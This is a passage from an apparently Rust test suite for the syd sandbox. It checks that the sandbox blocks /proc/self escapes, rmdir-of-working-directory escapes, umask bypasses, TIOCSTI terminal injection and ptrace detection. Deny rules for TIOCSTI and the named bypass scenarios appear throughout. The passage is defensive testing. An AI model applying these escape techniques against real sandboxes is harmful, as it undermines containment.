    assert_status_ok!(status);
    Ok(())
}

fn test_syd_procself_escape_open_relpath_6() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir:on")
        .m("allow/read,readdir+/***")
        .do_("procself_escape_open_relpath_6", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_procself_escape_open_relpath_7() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir:on")
        .m("allow/read,readdir+/***")
        .do_("procself_escape_open_relpath_7", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_procself_escape_relpath() -> TestResult {
    skip_unless_available!("grep");

    let status = syd()
        .p("off")
        .m("sandbox/read,readdir:on")
        .m("allow/read,readdir+/***")
        .argv(["grep", "Name:[[:space:]]syd", "/proc/./self/status"])
        .status()
        .expect("execute syd");
    assert!(
        status.code().unwrap_or(127) == 1,
        "code:{:?}",
        status.code()
    );
    Ok(())
}

fn test_syd_procself_escape_symlink() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir:on")
        .m("allow/read,readdir+/***")
        .do_("procself_escape_symlink", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_procself_escape_symlink_within_container() -> TestResult {
    skip_unless_unshare!("user", "mount", "pid");

    let status = syd()
        .p("off")
        .m("unshare/user,pid:1")
        .m("sandbox/read,readdir:on")
        .m("allow/read,readdir+/***")
        .do_("procself_escape_symlink", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_rmdir_escape_file() -> TestResult {
    if let Err(errno) = mkdir("foo", Mode::from_bits_truncate(0o700)) {
        return Err(TestError(format!(
            "Failed to create test directory 1: {errno}"
        )));
    } else if let Err(errno) = mkdir("foo (deleted)", Mode::from_bits_truncate(0o700)) {
        return Err(TestError(format!(
            "Failed to create test directory 2: {errno}"
        )));
    }

    let status = syd()
        .p("off")
        .m("config/expand:0")
        .m("sandbox/net,write,create,delete,truncate:on")
        .m("allow/write,create,delete,truncate+/***")
        .m("deny/write,create,delete,truncate+/**/* (deleted)/***")
        .m("allow/net/bind+/***")
        .m("deny/net/bind+/**/* (deleted)/***")
        .do_("rmdir_cwd_and_create_file", ["foo"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    if XPath::from_bytes(b"./foo (deleted)/escape").exists(false) {
        Err(TestError("Sandbox escape by rmdir CWD!".to_string()))
    } else if XPath::from_bytes(b"./foo/escape").exists(false) {
        Err(TestError("Sandbox create by rmdir CWD!".to_string()))
    } else {
        Ok(())
    }
}

fn test_syd_rmdir_escape_dir() -> TestResult {
    if let Err(errno) = mkdir("foo", Mode::from_bits_truncate(0o700)) {
        return Err(TestError(format!(
            "Failed to create test directory 1: {errno}"
        )));
    } else if let Err(errno) = mkdir("foo (deleted)", Mode::from_bits_truncate(0o700)) {
        return Err(TestError(format!(
            "Failed to create test directory 2: {errno}"
        )));
    }

    let status = syd()
        .p("off")
        .m("config/expand:0")
        .m("sandbox/net,write,create,delete,truncate:on")
        .m("allow/write,create,delete,truncate+/***")
        .m("deny/write,create+/**/* (deleted)/***")
        .m("allow/net/bind+/***")
        .m("deny/net/bind+/**/* (deleted)/***")
        .do_("rmdir_cwd_and_create_dir", ["foo"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    if XPath::from_bytes(b"./foo (deleted)/escape").exists(false) {
        Err(TestError("Sandbox escape by rmdir CWD!".to_string()))
    } else if XPath::from_bytes(b"./foo/escape").exists(false) {
        Err(TestError("Sandbox create by rmdir CWD!".to_string()))
    } else {
        Ok(())
    }
}

fn test_syd_rmdir_escape_fifo() -> TestResult {
    if let Err(errno) = mkdir("foo", Mode::from_bits_truncate(0o700)) {
        return Err(TestError(format!(
            "Failed to create test directory 1: {errno}"
        )));
    } else if let Err(errno) = mkdir("foo (deleted)", Mode::from_bits_truncate(0o700)) {
        return Err(TestError(format!(
            "Failed to create test directory 2: {errno}"
        )));
    }

    let status = syd()
        .p("off")
        .m("config/expand:0")
        .m("sandbox/net,write,create,delete,truncate,mkfifo:on")
        .m("allow/write,create,delete,truncate,mkfifo+/***")
        .m("deny/write,create,delete,truncate,mkfifo+/**/* (deleted)/***")
        .m("allow/net/bind+/***")
        .m("deny/net/bind+/**/* (deleted)/***")
        .do_("rmdir_cwd_and_create_fifo", ["foo"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    if XPath::from_bytes(b"./foo (deleted)/escape").exists(false) {
        Err(TestError("Sandbox escape by rmdir CWD!".to_string()))
    } else if XPath::from_bytes(b"./foo/escape").exists(false) {
        Err(TestError("Sandbox create by rmdir CWD!".to_string()))
    } else {
        Ok(())
    }
}

fn test_syd_rmdir_escape_unix() -> TestResult {
    if let Err(errno) = mkdir("foo", Mode::from_bits_truncate(0o700)) {
        return Err(TestError(format!(
            "Failed to create test directory 1: {errno}"
        )));
    } else if let Err(errno) = mkdir("foo (deleted)", Mode::from_bits_truncate(0o700)) {
        return Err(TestError(format!(
            "Failed to create test directory 2: {errno}"
        )));
    }

    let status = syd()
        .p("off")
        .m("config/expand:0")
        .m("sandbox/net,write,create:on")
        .m("allow/write,create,delete,truncate+/***")
        .m("deny/write,create,delete,truncate+/**/* (deleted)/***")
        .m("allow/net/bind+/***")
        .m("deny/net/bind+/**/* (deleted)/***")
        .do_("rmdir_cwd_and_create_unix", ["foo"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    if XPath::from_bytes(b"./foo (deleted)/escape").exists(false) {
        Err(TestError("Sandbox escape by rmdir CWD!".to_string()))
    } else if XPath::from_bytes(b"./foo/escape").exists(false) {
        Err(TestError("Sandbox create by rmdir CWD!".to_string()))
    } else {
        Ok(())
    }
}

fn test_syd_umask_bypass_077() -> TestResult {
    // Set a liberal umask as the test expects.
    let prev_umask = umask(Mode::from_bits_truncate(0o022));
    let status = syd()
        .p("off")
        .m("sandbox/write,create:on")
        .m("allow/write,create+/***")
        .do_("umask_bypass_077", NONE)
        .status()
        .expect("execute syd");
    let _ = umask(prev_umask);

    assert_status_ok!(status);
    Ok(())
}

fn test_syd_umask_bypass_277() -> TestResult {
    // Set a liberal umask as the test expects.
    let prev_umask = umask(Mode::from_bits_truncate(0o022));
    let status = syd()
        .p("off")
        .m("sandbox/write,create:on")
        .m("allow/write,create+/***")
        .do_("umask_bypass_277", NONE)
        .status()
        .expect("execute syd");
    let _ = umask(prev_umask);

    assert_status_ok!(status);
    Ok(())
}

fn test_syd_emulate_opath() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read:on")
        .m("allow/read+/***")
        .do_("emulate_opath", NONE)
        .status()
        .expect("execute syd");

    assert_status_ok!(status);
    Ok(())
}

fn test_syd_emulate_otmpfile() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/mktemp:on")
        .m("allow/mktemp+/***")
        .do_("emulate_otmpfile", NONE)
        .status()
        .expect("execute syd");

    assert_status_ok!(status);
    Ok(())
}

fn test_syd_honor_umask_000() -> TestResult {
    let prev_umask = umask(Mode::from_bits_truncate(0));

    let status = syd()
        .p("off")
        .m("sandbox/write,create:on")
        .m("allow/write,create+/***")
        .do_("honor_umask", ["0666"])
        .status()
        .expect("execute syd");

    let _ = umask(prev_umask);

    assert_status_ok!(status);

    Ok(())
}

fn test_syd_honor_umask_022() -> TestResult {
    let prev_umask = umask(Mode::from_bits_truncate(0o022));

    let status = syd()
        .p("off")
        .m("sandbox/write,create:on")
        .m("allow/write,create+/***")
        .do_("honor_umask", ["0644"])
        .status()
        .expect("execute syd");

    let _ = umask(prev_umask);

    assert_status_ok!(status);

    Ok(())
}

fn test_syd_honor_umask_077() -> TestResult {
    let prev_umask = umask(Mode::from_bits_truncate(0o077));

    let status = syd()
        .p("off")
        .m("sandbox/write,create:on")
        .m("allow/write,create+/***")
        .do_("honor_umask", ["0600"])
        .status()
        .expect("execute syd");

    let _ = umask(prev_umask);

    assert_status_ok!(status);

    Ok(())
}

fn test_syd_force_umask_bypass_with_open() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/write,create:on")
        .m("allow/write,create+/***")
        .do_("force_umask_bypass_with_open", NONE)
        .status()
        .expect("execute syd");
    assert_status_code!(status, 1);

    let status = syd()
        .p("off")
        .m("trace/force_umask:7177")
        .m("sandbox/write,create:on")
        .m("allow/write,create+/***")
        .do_("force_umask_bypass_with_open", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_force_umask_bypass_with_mknod() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/create:on")
        .m("allow/create+/***")
        .do_("force_umask_bypass_with_mknod", NONE)
        .status()
        .expect("execute syd");
    assert_status_code!(status, 1);

    let status = syd()
        .p("off")
        .m("trace/force_umask:7177")
        .m("sandbox/create:on")
        .m("allow/create+/***")
        .do_("force_umask_bypass_with_mknod", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_force_umask_bypass_with_mkdir() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/mkdir:on")
        .m("allow/mkdir+/***")
        .do_("force_umask_bypass_with_mkdir", NONE)
        .status()
        .expect("execute syd");
    assert_status_code!(status, 1);

    let status = syd()
        .p("off")
        .m("trace/force_umask:7177")
        .m("sandbox/mkdir:on")
        .m("allow/mkdir+/***")
        .do_("force_umask_bypass_with_mkdir", NONE)
        .status()
        .expect("execute syd");
    assert_status_code!(status, 1);

    Ok(())
}

fn test_syd_force_umask_bypass_with_fchmod() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chmod:on")
        .m("allow/chmod+/***")
        .do_("force_umask_bypass_with_fchmod", NONE)
        .status()
        .expect("execute syd");
    assert_status_code!(status, 1);

    let status = syd()
        .p("off")
        .m("trace/force_umask:7177")
        .m("sandbox/chmod:on")
        .m("allow/chmod+/***")
        .do_("force_umask_bypass_with_fchmod", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_force_cloexec() -> TestResult {
    skip_if_32bin_64host!();
    skip_unless_available!("cc", "sh");

    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > tmp.c <<EOF
#include <sys/stat.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

static void toggle(int v)
{
	char path[64];
	struct stat st;
	snprintf(path, sizeof(path),
	         "/dev/syd/trace/force_cloexec:%d", v);
	if (stat(path, &st) < 0) {
		fprintf(stderr, "[*] ERROR: stat %s failed: %s\n",
		        path, strerror(errno));
		exit(1);
	}
	fprintf(stderr, "[*] Toggled force_cloexec -> %d\n", v);
}

static void check_fd(int fd, const char *name, int expect)
{
	int flags = fcntl(fd, F_GETFD);
	if (flags < 0) {
		fprintf(stderr, "[*] ERROR: fcntl F_GETFD on %s failed: %s\n",
		        name, strerror(errno));
		exit(1);
	}
	int has = (flags & FD_CLOEXEC) != 0;
	if (has != expect) {
		fprintf(stderr, "[*] FAIL: %s fd=%d expected CLOEXEC=%d but got %d\n",
		        name, fd, expect, has);
		exit(1);
	}
	fprintf(stderr, "[*] OK: %s fd=%d CLOEXEC=%d\n",
	        name, fd, has);
}

int main(void)
{
	int fd;
	int sock;

	// Phase 1: force_cloexec = ON
	toggle(1);

	fd = open("t1.tmp", O_RDWR | O_CREAT, 0600);
	if (fd < 0) {
		perror("open");
		exit(1);
	}
	check_fd(fd, "file1", 1);

	sock = socket(AF_INET, SOCK_STREAM, 0);
	if (sock < 0) {
		perror("socket");
		exit(1);
	}
	check_fd(sock, "sock1", 1);

	// Phase 2: force_cloexec = OFF
	toggle(0);

	fd = open("t2.tmp", O_RDWR | O_CREAT, 0600);
	if (fd < 0) {
		perror("open");
		exit(1);
	}
	check_fd(fd, "file2", 0);

	sock = socket(AF_INET, SOCK_STREAM, 0);
	if (sock < 0) {
		perror("socket");
		exit(1);
	}
	check_fd(sock, "sock2", 0);

	fprintf(stderr, "[*] PASS: all checks OK\n");
	return 0;
}
EOF

cc -Wall -Wextra tmp.c -o tmp || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile test, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .m("lock:exec")
        .arg("./tmp")
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_force_rand_fd() -> TestResult {
    skip_if_32bin_64host!();
    skip_unless_available!("cc", "sh");

    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > tmp.c <<EOF
#define _GNU_SOURCE
#include <sys/stat.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <linux/memfd.h>
#include <sys/syscall.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

static void lock(void)
{
	struct stat st;
	if (stat("/dev/syd/lock:on", &st) < 0) {
		fprintf(stderr, "[*] ERROR: stat /dev/syd/lock:on failed: %s\n",
		        strerror(errno));
		exit(1);
	}
	fprintf(stderr, "[*] Sandbox locked\n");
}

static void toggle(int v)
{
	char path[64];
	struct stat st;
	snprintf(path, sizeof(path),
	         "/dev/syd/trace/force_rand_fd:%d", v);
	if (stat(path, &st) < 0) {
		fprintf(stderr, "[*] ERROR: stat %s failed: %s\n",
		        path, strerror(errno));
		exit(1);
	}
	fprintf(stderr, "[*] Toggled force_rand_fd -> %d\n", v);
}

static void fail(const char *msg)
{
	fprintf(stderr, "%s\n", msg);
	exit(1);
}

// Wrapper for memfd_create syscall
static int my_memfd_create(const char *name, unsigned int flags)
{
	return syscall(SYS_memfd_create, name, flags);
}

int main(void)
{
	int fd_on, sock_on, mem_on;
	int fd_off, sock_off, mem_off;

	// Phase 1: test RANDOMIZED when ON
	toggle(1);

	fd_on = open("rnd1.tmp", O_RDWR | O_CREAT, 0600);
	if (fd_on < 0) {
		perror("open");
		exit(1);
	}
	fprintf(stderr, "[*] ON open() -> fd=%d\n", fd_on);
	if (fd_on == 3)
		fail("[*] FAIL ON: open returned lowest fd=3 under randomization");

	sock_on = socket(AF_INET, SOCK_STREAM, 0);
	if (sock_on < 0) {
		perror("socket");
		exit(1);
	}
	fprintf(stderr, "[*] ON socket() -> fd=%d\n", sock_on);
	if (sock_on == 3)
		fail("[*] FAIL ON: socket returned lowest fd=3 under randomization");

	mem_on = my_memfd_create("rnd.mem", MFD_CLOEXEC);
	if (mem_on < 0) {
		perror("memfd_create");
		exit(1);
	}
	fprintf(stderr, "[*] ON memfd_create() -> fd=%d\n", mem_on);
	if (mem_on == 3)
		fail("[*] FAIL ON: memfd_create returned lowest fd=3 under randomization");

	close(fd_on);
	close(sock_on);
	close(mem_on);

	// Phase 2: test LOWEST-NUMBERED when OFF
	toggle(0);
	// Lock the sandbox to check seccomp mitigations as well.
	lock();

	fd_off = open("low1.tmp", O_RDWR | O_CREAT, 0600);
	if (fd_off < 0) {
		perror("open");
		exit(1);
	}
	fprintf(stderr, "[*] OFF open() -> fd=%d\n", fd_off);
	if (fd_off != 3)
		fail("[*] FAIL OFF: open did not return lowest fd=3 when randomization off");

	sock_off = socket(AF_INET, SOCK_STREAM, 0);
	if (sock_off < 0) {
		perror("socket");
		exit(1);
	}
	fprintf(stderr, "[*] OFF socket() -> fd=%d\n", sock_off);
	if (sock_off != 4)
		fail("[*] FAIL OFF: socket did not return lowest fd=4 when randomization off");

	mem_off = my_memfd_create("low.mem", MFD_CLOEXEC);
	if (mem_off < 0) {
		perror("memfd_create");
		exit(1);
	}
	fprintf(stderr, "[*] OFF memfd_create() -> fd=%d\n", mem_off);
	if (mem_off != 5)
		fail("[*] FAIL OFF: memfd_create did not return lowest fd=5 when randomization off");

	close(fd_off);
	close(sock_off);
	close(mem_off);

	fprintf(stderr, "[*] PASS: force_rand_fd behavior OK\n");
	return 0;
}
EOF

cc -Wall -Wextra tmp.c -o tmp || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile test, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .m("lock:exec")
        .arg("./tmp")
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_force_ro_open() -> TestResult {
    skip_unless_available!("sh");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .argv(["sh", "-cx"])
        .arg(
            r#"
echo test > tmp || exit 1
echo test >> tmp || exit 2
test -c /dev/syd/trace/force_ro_open:1 || exit 3
echo test > tmp && exit 4
echo test >> tmp && exit 5
test -c /dev/syd/trace/force_ro_open:0 || exit 6
echo test > tmp || exit 7
echo test >> tmp || exit 8
        "#,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_force_no_xdev() -> TestResult {
    skip_unless_available!("sh");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .current_dir("/")
        .argv(["sh", "-cx"])
        .arg(
            r#"
cat /dev/null || exit 1
ls /proc/self/status || exit 2
test -c /dev/syd/trace/force_no_xdev:1 || exit 3
cat /dev/null && exit 4
ls /proc/self/status && exit 5
test -c /dev/syd/trace/force_no_xdev:0 || exit 6
cat /dev/null || exit 7
ls /proc/self/status || exit 8
        "#,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_open_utf8_invalid_default() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/write,create:on")
        .m("allow/write,create+/***")
        .do_("open_utf8_invalid", NONE)
        .status()
        .expect("execute syd");
    assert_status_illegal_sequence!(status);
    Ok(())
}

fn test_syd_open_utf8_invalid_unsafe() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/write,create:on")
        .m("allow/write,create+/***")
        .m("trace/allow_unsafe_filename:1")
        .do_("open_utf8_invalid", NONE)
        .status()
        .expect("execute syd");
    // ZFS may return EILSEQ on non UTF-8 paths.
    assert_status_code_matches!(status, 0 | EILSEQ);
    Ok(())
}

fn test_syd_exec_in_inaccessible_directory() -> TestResult {
    skip_unless_available!("bash");

    let status = syd()
        .p("off")
        .m("sandbox/exec,write,create:on")
        .m("allow/exec,write,create+/***")
        .do_("exec_in_inaccessible_directory", NONE)
        .status()
        .expect("execute syd");

    assert_status_ok!(status);
    Ok(())
}

fn test_syd_fstat_on_pipe() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .do_("fstat_on_pipe", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_fstat_on_socket() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .do_("fstat_on_socket", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_fstat_on_deleted_file() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .do_("fstat_on_deleted_file", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_fstat_on_tmpfile() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .do_("fstat_on_tmpfile", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_fchmodat_on_proc_fd() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create,chmod:on")
        .m("allow/read,stat,write,create,chmod+/***")
        .do_("fchmodat_on_proc_fd", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_linkat_on_fd() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .do_("linkat_on_fd", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_block_ioctl_tiocsti_default() -> TestResult {
    // Ioctl sandboxing is on and the denylist is processed.
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .do_("block_ioctl_tiocsti", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_block_ioctl_tiocsti_dynamic() -> TestResult {
    // Turn Ioctl sandboxing on and check.
    let status = syd()
        .p("off")
        .m("sandbox/ioctl,read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .do_("block_ioctl_tiocsti", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_block_ioctl_tiocsti_sremadd() -> TestResult {
    // Ioctl sandboxing is off, however the denylist is processed anyway.
    // We explicitly remove TIOCSTI from denylist and check.
    let status = syd()
        .p("off")
        .m("deny/ioctl-TIOCSTI")
        .m("allow/ioctl+TIOCSTI")
        .m("deny/ioctl+TIOCSTI")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .do_("block_ioctl_tiocsti", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_block_ioctl_tiocsti_sremove() -> TestResult {
    skip_unless_stdout_is_a_tty!();

    // We explicitly allow TIOCSTI and check.
    let status = syd()
        .p("off")
        .m("deny/ioctl-TIOCSTI")
        .m("allow/ioctl+TIOCSTI")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .do_("block_ioctl_tiocsti", NONE)
        .status()
        .expect("execute syd");
    assert_status_code!(status, 1);

    Ok(())
}

fn test_syd_block_ioctl_tiocsti_dremove() -> TestResult {
    skip_unless_available!("sh");

    // Ioctl sandboxing is off by default.
    // We check default deny, then allow dynamically.
    let syd_do = &SYD_DO.to_string();
    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("deny/ioctl-TIOCSTI")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write+/***")
        .do__("block_ioctl_tiocsti")
        .arg("sh")
        .arg("-cex")
        .arg(format!(
            "
# Expect TIOCSTI is not denied.
r=0
{syd_do} || r=$?
test $r -ne 25 # ENOTTY

true"
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_ioctl_dynamic_allow_deny_precedence() -> TestResult {
    // Whitelist mode.
    // Test that 'deny' overrides 'allow' if added subsequently (Last Match Wins).
    let status = syd()
        .p("off")
        .m("sandbox/ioctl:on")
        .m("allow/ioctl+FIONBIO")
        .m("deny/ioctl+FIONBIO")
        .do_("ioctl_device", ["/dev/random"])
        .status()
        .expect("execute syd");
    assert_status_notty!(status);

    // Test reverse: Deny then Allow -> Allow wins.
    let status = syd()
        .p("off")
        .m("sandbox/ioctl:on")
        .m("deny/ioctl+FIONBIO")
        .m("allow/ioctl+FIONBIO")
        .do_("ioctl_device", ["/dev/random"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_ioctl_remove_deny_blacklist() -> TestResult {
    // Blacklist mode: Default allow, but block denylist.
    // TIOCSTI is in default denylist.
    skip_unless_available!("sh");
    skip_unless_stdout_is_a_tty!();

    let status = syd()
        .p("off")
        .m("deny/ioctl-TIOCSTI")
        .m("lock:exec")
        .do_("block_ioctl_tiocsti", NONE)
        .status()
        .expect("execute syd");
    assert_status_code!(status, 1);

    Ok(())
}

fn test_syd_prevent_ptrace_detect_1() -> TestResult {
    skip_if_strace!();
    let status = syd()
        .p("off")
        .do_("ptraceme", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_prevent_ptrace_detect_2() -> TestResult {
    skip_if_strace!();
    let status = syd()
        .p("off")
        .do_("multiple_ptraceme", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_prevent_ptrace_detect_3() -> TestResult {
    skip_if_strace!();
    let status = syd()
        .p("off")
        .do_("multiple_threads_ptraceme", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_prevent_ptrace_detect_4() -> TestResult {
    skip_if_strace!();
    let status = syd()
        .p("off")
        .do_("pr_set_ptracer", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_kill_during_syscall() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .do_("kill_during_syscall", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_open_toolong_path() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .do_("open_toolong_path", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_open_null_path() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .do_("open_null_path", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_openat2_path_linux() -> TestResult {
    skip_unless_unshare!("user", "mount", "pid");

    // setup_openat2_test creates a user namespace.
    // we must execute this test in isolation.
    if env::var_os("SYD_TEST_REEXEC").is_none() {
        let status = Command::new("/proc/self/exe")
            .env("SYD_TEST_REEXEC", "YesPlease")
            .arg("openat2_path_linux")
            .status()
            .expect("execute syd-test");
        assert_status_ok!(status);

        return Ok(());
    }

    // Returns an !O_CLOEXEC fd.
    let fd = setup_openat2_test().expect("setup test");
    let fd = format!("{}", fd.as_raw_fd());

    // Ensure tests pass outside Syd.
    let status = Command::new(&*SYD_DO)
        .env("SYD_TEST_DO", "openat2_opath")
        .arg(&fd)
        .arg("UNSAFE")
        .status()
        .expect("execute syd-test-do");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_openat2_path_unsafe() -> TestResult {
    skip_unless_unshare!("user", "mount", "pid");

    // setup_openat2_test creates a user namespace.
    // we must execute this test in isolation.
    if env::var("SYD_TEST_REEXEC").is_err() {
        let status = Command::new("/proc/self/exe")
            .env("SYD_TEST_REEXEC", "YesPlease")
            .arg("openat2_path_unsafe")
            .status()
            .expect("execute syd-test");
        assert_status_ok!(status);
        return Ok(());
    }

    // Returns an !O_CLOEXEC fd.
    let fd = setup_openat2_test().expect("setup test");
    let fd = format!("{}", fd.as_raw_fd());

    // Ensure tests pass inside Syd with
    // trace/allow_unsafe_open_path:1 and trace/allow_unsafe_magiclinks:1
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .m("trace/allow_unsafe_create:1")
        .m("trace/allow_unsafe_open_path:1")
        .m("trace/allow_unsafe_magiclinks:1")
        .m("allow/read,stat,write,create+/***")
        .do_("openat2_opath", [&fd, "UNSAFE"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_openat2_path_sydbox() -> TestResult {
    skip_unless_unshare!("user", "mount", "pid");

    // setup_openat2_test creates a user namespace.
    // we must execute this test in isolation.
    if env::var("SYD_TEST_REEXEC").is_err() {
        let status = Command::new("/proc/self/exe")
            .env("SYD_TEST_REEXEC", "YesPlease")
            .arg("openat2_path_sydbox")
            .status()
            .expect("execute syd-test");
        assert_status_ok!(status);
        return Ok(());
    }

    // Returns an !O_CLOEXEC fd.
    let fd = setup_openat2_test().expect("setup test");
    let fd = format!("{}", fd.as_raw_fd());

    // Ensure tests pass inside Syd with secure defaults.
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .do_("openat2_opath", [&fd, "SAFE"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_utimensat_null() -> TestResult {
    let status = syd()
        .p("fs")
        .m("sandbox/all:on")
        .m("allow/all+/***")
        .do_("utimensat_null", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_utimensat_symlink() -> TestResult {
    let status = syd()
        .p("fs")
        .m("sandbox/all:on")
        .m("allow/all+/***")
        .do_("utimensat_symlink", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_normalize_path() -> TestResult {
    skip_unless_available!("sh");

    const NORMALIZE_PATH_TESTS: &[&str] = &[
        "null",
        "./null",
        ".////null",
        ".///.////.///./null",
        "./././././././null",
        "./././.././././dev/null",
        "../dev/././../dev/././null",
    ];

    for path in NORMALIZE_PATH_TESTS {
        let status = syd()
            .p("off")
            .m("sandbox/write,create:on")
            .m("deny/write,create+/***")
            .m("allow/write,create+/dev/null")
            .argv(["sh", "-cx", &format!("cd /dev; :> {path}")])
            .status()
            .expect("execute syd");
        assert_eq!(
            status.code().unwrap_or(127),
            0,
            "path:{path}, status:{status:?}"
        );
    }

    Ok(())
}

fn test_syd_path_resolution() -> TestResult {
    let cwd = readlink("/proc/self/cwd").map(XPathBuf::from).expect("cwd");

    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat+/***")
        .m(format!("allow/write,create+{cwd}/***"))
        .do_("path_resolution", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_symlink_readonly_path() -> TestResult {
    skip_unless_available!("sh");

    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .m("deny/write+/")
        .argv([
            "sh",
            "-c",
            "ln -s / test_syd_symlink_readonly_path && unlink test_syd_symlink_readonly_path",
        ])
        .status()
